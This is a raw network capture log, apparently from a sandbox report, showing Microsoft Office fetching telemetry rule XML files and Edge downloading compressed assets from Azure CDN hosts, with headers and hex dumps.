2024-11-20 07:09:22 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:22 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070922Z-1777c6cb754mqztshC1TEB4mkc00000009b0000000005ucz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:22 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070922Z-1777c6cb754gvvgfhC1TEBz4rg00000009ag000000007yt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49806	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:22 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:22 UTC	576	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:22 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 84aa4424-e01e-0022-3cf8-3a0631000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070922Z-r1d97b99577d6qrbhC1TEBux5s00000008pg0000000066fc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:22 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-20 07:09:22 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-20 07:09:22 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-20 07:09:22 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-20 07:09:22 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:22 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070922Z-1777c6cb754n67brhC1TEBcp9c000000099g00000000aw39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070923Z-185f5d8b95cdh56ghC1NYCk1x400000003qg00000000apbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070923Z-185f5d8b95crwqd8hC1NYCps6800000009z0000000001z0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49816	13.107.246.45	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070923Z-185f5d8b95cdh56ghC1NYCk1x400000003s00000000076mv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:23 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070923Z-185f5d8b95c4bhwphC1NYCs8gw00000009y000000000gnbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49820	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:23 UTC	577	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 82fa33c4-201e-003f-7aa4-3adfdb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070923Z-1777c6cb754gvvgfhC1TEBz4rg000000097g00000000fhqa Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:23 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu 